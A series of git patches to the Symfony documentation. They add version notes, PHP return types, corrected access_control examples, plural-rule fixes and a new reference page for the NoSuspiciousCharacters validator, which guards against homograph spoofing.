Subject: [PATCH 3111/5766] Add the versionadded directive

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4d4fe94216a..34e12bc473c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -761,9 +761,13 @@ the ``SIGTERM`` or ``SIGINT`` POSIX signals to finish processing their current
 message before terminating.
 
 However, you might prefer to use different POSIX signals for graceful shutdown.
-You can override default ones by setting ``framework.messenger.stop_worker_on_signals``
+You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
 configuration option.
 
+.. versionadded:: 6.3
+
+    The ``framework.messenger.stop_worker_on_signals`` option was introduced in Symfony 6.3.
+
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
 need to add a ``stopwaitsecs`` key to the program configuration (with a value

From bdc2da3d15113ca8305d350ee566d77ef1ef44e2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 21 Mar 2023 20:40:41 +0100
Subject: [PATCH 3112/5766] [SecurityBundle] Request is stateless when firewall
 is stateless

---
 reference/configuration/security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fec955b6ed7..aa3ba406a02 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -937,6 +937,12 @@ the session must not be used when authenticating users:
             // ...
         };
 
+Routes under this firewall will be :ref:`configured stateless <stateless-routing>`.
+
+.. versionadded:: 6.3
+
+    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
+
 User Checkers
 ~~~~~~~~~~~~~
 

From 27f11f0fde0587d57495f61b83f72fbf3f685472 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 21 Mar 2023 00:28:35 +0100
Subject: [PATCH 3113/5766] smaller example for env(resolve:FOO)

---
 configuration/env_var_processors.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2739433d9a9..2f795e9a4e4 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -311,8 +311,7 @@ Symfony provides the following env var processors:
 
             # config/packages/sentry.yaml
             parameters:
-                env(HOST): '10.0.0.1'
-                sentry_host: '%env(HOST)%'
+                sentry_host: '10.0.0.1'
                 env(SENTRY_DSN): 'http://%sentry_host%/project'
             sentry:
                 dsn: '%env(resolve:SENTRY_DSN)%'
@@ -327,8 +326,7 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(HOST)">10.0.0.1</parameter>
-                    <parameter key="sentry_host">%env(HOST)%</parameter>
+                    <parameter key="sentry_host">10.0.0.1</parameter>
                     <parameter key="env(SENTRY_DSN)">http://%sentry_host%/project</parameter>
                 </parameters>
 
@@ -338,8 +336,7 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/sentry.php
-            $container->setParameter('env(HOST)', '10.0.0.1');
-            $container->setParameter('sentry_host', '%env(HOST)%');
+            $container->setParameter('sentry_host', '10.0.0.1');
             $container->setParameter('env(SENTRY_DSN)', 'http://%sentry_host%/project');
             $container->loadFromExtension('sentry', [
                 'dsn' => '%env(resolve:SENTRY_DSN)%',

From c7e878833c84809adebf2369c10b1edbbff1242e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 21 Mar 2023 20:49:21 +0100
Subject: [PATCH 3114/5766] [CssSelector] Add support for :scope

---
 components/css_selector.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index 649a34293a4..fb599208c59 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -96,7 +96,11 @@ Pseudo-classes are partially supported:
 * Not supported: ``*:first-of-type``, ``*:last-of-type``, ``*:nth-of-type`` and
   ``*:nth-last-of-type`` (all these work with an element name (e.g.
   ``li:first-of-type``) but not with the ``*`` selector).
-* Supported: ``*:only-of-type``.
+* Supported: ``*:only-of-type``, ``*:scope``.
+
+.. versionadded:: 6.3
+
+    The support for ``*:scope`` was introduced in Symfony 6.3.
 
 Learn more
 ----------

From 647e9d05b946b6c48e86b037de896e0a897641ae Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 22 Mar 2023 13:50:19 +0100
Subject: [PATCH 3115/5766] [HttpFoundation] Add deprecation hint on `filter()`

---
 components/http_foundation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cdfcee2aae0..3a0f643dca2 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -158,6 +158,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
 
+    .. deprecated:: 6.3
+
+        Ignoring invalid values when using ``filter()`` is deprecated and will throw
+        a :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
+        in Symfony 7.0. You can use the ``FILTER_NULL_ON_FAILURE`` flag to keep
+        ignoring them.
+
 All getters take up to two arguments: the first one is the parameter name
 and the second one is the default value to return if the parameter does not
 exist::

From e145728b14a6db6fc238106d5e51ef3afce5a01b Mon Sep 17 00:00:00 2001
From: Hugo Clergue <60431933+Hugo-pro404@users.noreply.github.com>
Date: Wed, 22 Mar 2023 14:06:43 +0100
Subject: [PATCH 3116/5766] Update access_control.rst

I've just corrected some description of the "Why ?" column of the table, because the ``access_control`` used didn't match their description, based on their numbers.
---
 security/access_control.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 680c79b0840..81aae70c602 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -150,15 +150,16 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
-|                 |             |             |             |            |                                | rule (which matches) is used.                               |
+| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match neither the first rule nor the     |
+|                 |             |             |             |            |                                | second rule. So the third rule (which matches) is used.     |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The second rule still matches. This would also match the    |
-|                 |             |             |             |            |                                | third rule (``ROLE_USER_METHOD``), but only the **first**   |
+| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The third rule still matches. This would also match the     |
+|                 |             |             |             |            |                                | fourth rule (``ROLE_USER_METHOD``), but only the **first**  |
 |                 |             |             |             |            |                                | matched ``access_control`` is used.                         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first two entries,  |
-|                 |             |             |             |            |                                | but the third - ``ROLE_USER_METHOD`` - matches and is used. |
+| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three         |
+|                 |             |             |             |            |                                | entries, but the fourth - ``ROLE_USER_METHOD`` - matches    |
+|                 |             |             |             |            |                                | and is used.                                                |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/foo``        | 127.0.0.1   | 80          | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
 |                 |             |             |             |            |                                | URI doesn't match any of the ``path`` values.               |

From 58a7056e0151dd6b5c342f8a6dfaa519ba7a0a6a Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:27:06 +0100
Subject: [PATCH 3117/5766] Update upload_file.rst

Add string type as param and in function return
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 46cf3230566..6d01a56dee0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -29,12 +29,12 @@ add a PDF brochure for each product. To do so, add a new property called
          */
         private $brochureFilename;
 
-        public function getBrochureFilename()
+        public function getBrochureFilename(): string
         {
             return $this->brochureFilename;
         }
 
-        public function setBrochureFilename($brochureFilename)
+        public function setBrochureFilename(string $brochureFilename)
         {
             $this->brochureFilename = $brochureFilename;
 

From 3026beacce237a798b001b48680c24178a59efcf Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:30:06 +0100
Subject: [PATCH 3118/5766] Update upload_file.rst

Add response return type
---
 controller/upload_file.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 6d01a56dee0..a98a7aa7e9f 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -128,6 +128,7 @@ Finally, you need to update the code of the controller that handles the form::
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\String\Slugger\SluggerInterface;
 
@@ -136,7 +137,7 @@ Finally, you need to update the code of the controller that handles the form::
         /**
          * @Route("/product/new", name="app_product_new")
          */
-        public function new(Request $request, SluggerInterface $slugger)
+        public function new(Request $request, SluggerInterface $slugger): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);

From ea0a512482dda53779e242fcab9a094a3b3ed7d5 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:32:24 +0100
Subject: [PATCH 3119/5766] Update upload_file.rst

Fix return type string
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index a98a7aa7e9f..ac96b4207bb 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -253,7 +253,7 @@ logic to a separate service::
             $this->slugger = $slugger;
         }
 
-        public function upload(UploadedFile $file)
+        public function upload(UploadedFile $file): string
         {
             $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
             $safeFilename = $this->slugger->slug($originalFilename);
@@ -268,7 +268,7 @@ logic to a separate service::
             return $fileName;
         }
 
-        public function getTargetDirectory()
+        public function getTargetDirectory(): string
         {
             return $this->targetDirectory;
         }

From 0f23790e3e3af0018846e80eb5387397828f37ad Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:34:26 +0100
Subject: [PATCH 3120/5766] Update event_dispatcher.rst

Fix bug return type
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index fbee0d5268d..3acf2caf5f7 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -255,7 +255,7 @@ listen to the same ``kernel.exception`` event::
 
     class ExceptionSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // return the subscribed events, their methods and priorities
             return [

From b98faaaa3f74d61f03517f30aa7490eed6f678fb Mon Sep 17 00:00:00 2001
From: Ali Sunjaya <ali.sunjayaa@gmail.com>
Date: Tue, 14 Mar 2023 17:43:24 +0700
Subject: [PATCH 3121/5766] fix plural rules

---
 reference/formats/message_format.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 1f99d1a2fdb..3e19567f5cd 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -223,7 +223,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
         num_of_apples: >-
             {apples, plural,
                 =0    {There are no apples}
-                one   {There is one apple...}
+                =1    {There is one apple...}
                 other {There are # apples!}
             }
 
@@ -236,7 +236,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
                 <body>
                     <trans-unit id="num_of_apples">
                         <source>num_of_apples</source>
-                        <target>{apples, plural, =0 {There are no apples} one {There is one apple...} other {There are # apples!}}</target>
+                        <target>{apples, plural, =0 {There are no apples} =1 {There is one apple...} other {There are # apples!}}</target>
                     </trans-unit>
                 </body>
             </file>
@@ -248,7 +248,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
         return [
             'num_of_apples' => '{apples, plural,
                 =0    {There are no apples}
-                one   {There is one apple...}
+                =1    {There is one apple...}
                 other {There are # apples!}
             }',
         ];

From 70e481743a4b244cd4187ca060cb449f3ef00a7c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 14:29:01 +0100
Subject: [PATCH 3122/5766] add `WorkerRateLimitedEvent`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 57d2c9f38aa..a7f22448549 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2498,10 +2498,15 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRateLimitedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+.. versionadded:: 6.2
+
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From da2abefe97fb72716b9d27553447eb0c736fe5d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:15:22 +0100
Subject: [PATCH 3123/5766] Tweaks

---
 reference/configuration/security.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index a6bdb342aeb..9f6e29247a0 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -433,10 +433,12 @@ clear_site_data
 
 **type**: ``array`` **default**: ``[]``
 
-The Clear-Site-Data header clears browsing data (cookies, storage, cache) associated with the requesting website.
-It allows web developers to have more control over the data stored by a client browser for their origins.
+The ``Clear-Site-Data`` HTTP header clears browsing data (cookies, storage, cache)
+associated with the requesting website. It allows web developers to have more
+control over the data stored by a client browser for their origins.
+
 Allowed values are ``cache``, ``cookies``, ``storage`` and ``executionContexts``.
-And it's possible to use ``*`` as a wildcard for all directives::
+It's also possible to use ``*`` as a wildcard for all directives:
 
 .. configuration-block::
 
@@ -494,6 +496,10 @@ And it's possible to use ``*`` as a wildcard for all directives::
             ],
         ]);
 
+.. versionadded:: 6.3
+
+    The ``clear_site_data`` option was introduced in Symfony 6.3.
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From e4d1b82a75c4ea934b172a7b732b8d7faaa0b734 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Wed, 8 Feb 2023 21:23:27 +0100
Subject: [PATCH 3124/5766] [Validator] Document the new
 `NoSuspiciousCharacters` constraint

---
 reference/constraints.rst                     |   1 +
 .../constraints/NoSuspiciousCharacters.rst    | 157 ++++++++++++++++++
 reference/constraints/map.rst.inc             |   1 +
 3 files changed, 159 insertions(+)
 create mode 100644 reference/constraints/NoSuspiciousCharacters.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 93339043bc4..67544bc45c3 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -79,6 +79,7 @@ Validation Constraints Reference
    constraints/Traverse
    constraints/CssColor
    constraints/Cascade
+   constraints/NoSuspiciousCharacters
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
new file mode 100644
index 00000000000..a0b65cb6cd3
--- /dev/null
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -0,0 +1,157 @@
+NoSuspiciousCharacters
+======================
+
+.. versionadded:: 6.3
+
+    The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
+
+..
+
+    Because Unicode contains such a large number of characters and incorporates
+    the varied writing systems of the world, incorrect usage can expose programs
+    or systems to possible security attacks.
+
+    `Unicode® Technical Standard #39`_
+
+"symfony.com" and "ѕymfony.com" look similar, but the latter actually starts with a
+`cyrillic small letter dze`_. It could make a user think they'll navigate to Symfony's
+website, whereas it would be somewhere else.
+This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries to
+identify something as something else to exploit the resulting confusion.
+This is why it is recommended to check user-submitted, public-facing identifiers for
+suspicious characters in order to prevent such attacks.
+
+This constraint ensures strings or :phpclass:`Stringable`s do not include any
+suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`, the intl
+extension must be enabled to use it.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharacters`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharactersValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraint will ensures a username cannot be spoofed by using many
+detection mechanisms:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NoSuspiciousCharacters]
+            private string $username;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            properties:
+                username:
+                    - NoSuspiciousCharacters: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <property name="username">
+                    <constraint name="NoSuspiciousCharacters"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('username', new Assert\NoSuspiciousCharacters());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+``checks``
+~~~~~~~~~~
+
+**type**: ``integer`` **default**: all
+
+This option is a bitmask of the checks you want to perform on the string:
+
+* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible characters such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
+* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher) checks for numbers from different numbering systems.
+* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher) checks for combining characters hidden in their preceding one.
+
+You can also configure additional requirements using :ref:`locales <locales>` and
+:ref:`restrictionLevel <restrictionlevel>`.
+
+``locales``
+~~~~~~~~~~~
+
+**type**: ``array`` **default**: :ref:`framework.enabled_locales <reference-enabled-locales>`
+
+Restrict the string's characters to those normally used with the associated languages.
+
+For example, the character "π" would be considered suspicious if you restricted the
+locale to "English", because the Greek script is not associated with it.
+
+Passing an empty array, or configuring :ref:`restrictionLevel <restrictionlevel>` to
+``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE`` will disable this requirement.
+
+``restrictionLevel``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` on ICU >= 58, otherwise ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT``
+
+Configures the set of acceptable characters for the validated string through a
+specified "level":
+
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's characters to match :ref:`the configured locales <locales>`'.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_ script, except Cyrillic, Greek, and Cherokee.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher) also requires the string to be `covered`_ by any of the following sets of scripts:
+
+  * Latin + Han + Bopomofo (or equivalently: Latn + Hanb)
+  * Latin + Han + Hiragana + Katakana (or equivalently: Latn + Jpan)
+  * Latin + Han + Hangul (or equivalently: Latn + Kore)
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the string to be `single-script`_.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher) also requires the string's characters to be in the ASCII range.
+
+You can accept all characters by setting this option to
+``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE``.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`Unicode® Technical Standard #39`: https://unicode.org/reports/tr39/
+.. _`cyrillic small letter dze`: https://graphemica.com/%D1%95
+.. _`spoofing attack`: https://en.wikipedia.org/wiki/Spoofing_attack
+.. _`single-script`: https://unicode.org/reports/tr39/#def-single-script
+.. _`covered`: https://unicode.org/reports/tr39/#def-cover
+.. _`Recommended`: https://www.unicode.org/reports/tr31/#Table_Recommended_Scripts
+.. _`Limited Use`: https://www.unicode.org/reports/tr31/#Table_Limited_Use_Scripts
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 6df4ecac1d4..1c16d47f81d 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -29,6 +29,7 @@ String Constraints
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`CssColor </reference/constraints/CssColor>`
+* :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 4d299484317f7e5b349d2af4d290b0c36cb479ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:44:36 +0100
Subject: [PATCH 3125/5766] Tweaks and minor fixes

---
 .../constraints/NoSuspiciousCharacters.rst    | 64 +++++++++++--------
 1 file changed, 38 insertions(+), 26 deletions(-)

diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
index a0b65cb6cd3..cfc23141553 100644
--- a/reference/constraints/NoSuspiciousCharacters.rst
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -5,25 +5,27 @@ NoSuspiciousCharacters
 
     The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
 
-..
+Validates that the given string does not contain characters used in spoofing
+security attacks, such as invisible characters such as zero-width spaces or
+characters that are visually similar.
 
-    Because Unicode contains such a large number of characters and incorporates
-    the varied writing systems of the world, incorrect usage can expose programs
-    or systems to possible security attacks.
+"symfony.com" and "ѕymfony.com" look similar, but their first letter is different
+(in the second string, the "s" is actually a `cyrillic small letter dze`_).
+This can make a user think they'll navigate to Symfony's website, whereas it
+would be somewhere else.
 
-    `Unicode® Technical Standard #39`_
+This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries
+to identify something as something else to exploit the resulting confusion.
+This is why it is recommended to check user-submitted, public-facing identifiers
+for suspicious characters in order to prevent such attacks.
 
-"symfony.com" and "ѕymfony.com" look similar, but the latter actually starts with a
-`cyrillic small letter dze`_. It could make a user think they'll navigate to Symfony's
-website, whereas it would be somewhere else.
-This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries to
-identify something as something else to exploit the resulting confusion.
-This is why it is recommended to check user-submitted, public-facing identifiers for
-suspicious characters in order to prevent such attacks.
+Because Unicode contains such a large number of characters and incorporates the
+varied writing systems of the world, incorrect usage can expose programs or
+systems to possible security attacks.
 
-This constraint ensures strings or :phpclass:`Stringable`s do not include any
-suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`, the intl
-extension must be enabled to use it.
+That's why this constraint ensures strings or :phpclass:`Stringable`s do not
+include any suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`,
+the intl extension must be enabled to use it.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
@@ -34,8 +36,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousChar
 Basic Usage
 -----------
 
-The following constraint will ensures a username cannot be spoofed by using many
-detection mechanisms:
+The following constraint will use different detection mechanisms to ensure that
+the username is not spoofed:
 
 .. configuration-block::
 
@@ -103,9 +105,13 @@ Options
 
 This option is a bitmask of the checks you want to perform on the string:
 
-* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible characters such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
-* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher) checks for numbers from different numbering systems.
-* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher) checks for combining characters hidden in their preceding one.
+* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible
+  characters such as zero-width spaces, or character sequences that are likely
+  not to display, such as multiple occurrences of the same non-spacing mark.
+* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher)
+  checks for numbers from different numbering systems.
+* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher)
+  checks for combining characters hidden in their preceding one.
 
 You can also configure additional requirements using :ref:`locales <locales>` and
 :ref:`restrictionLevel <restrictionlevel>`.
@@ -131,15 +137,22 @@ Passing an empty array, or configuring :ref:`restrictionLevel <restrictionlevel>
 Configures the set of acceptable characters for the validated string through a
 specified "level":
 
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's characters to match :ref:`the configured locales <locales>`'.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_ script, except Cyrillic, Greek, and Cherokee.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher) also requires the string to be `covered`_ by any of the following sets of scripts:
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's
+  characters to match :ref:`the configured locales <locales>`'.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string
+  to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_
+  script, except Cyrillic, Greek, and Cherokee.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher)
+  also requires the string to be `covered`_ by any of the following sets of scripts:
 
   * Latin + Han + Bopomofo (or equivalently: Latn + Hanb)
   * Latin + Han + Hiragana + Katakana (or equivalently: Latn + Jpan)
   * Latin + Han + Hangul (or equivalently: Latn + Kore)
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the string to be `single-script`_.
-* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher) also requires the string's characters to be in the ASCII range.
+
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the
+  string to be `single-script`_.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher)
+  also requires the string's characters to be in the ASCII range.
 
 You can accept all characters by setting this option to
 ``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE``.
@@ -148,7 +161,6 @@ You can accept all characters by setting this option to
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`Unicode® Technical Standard #39`: https://unicode.org/reports/tr39/
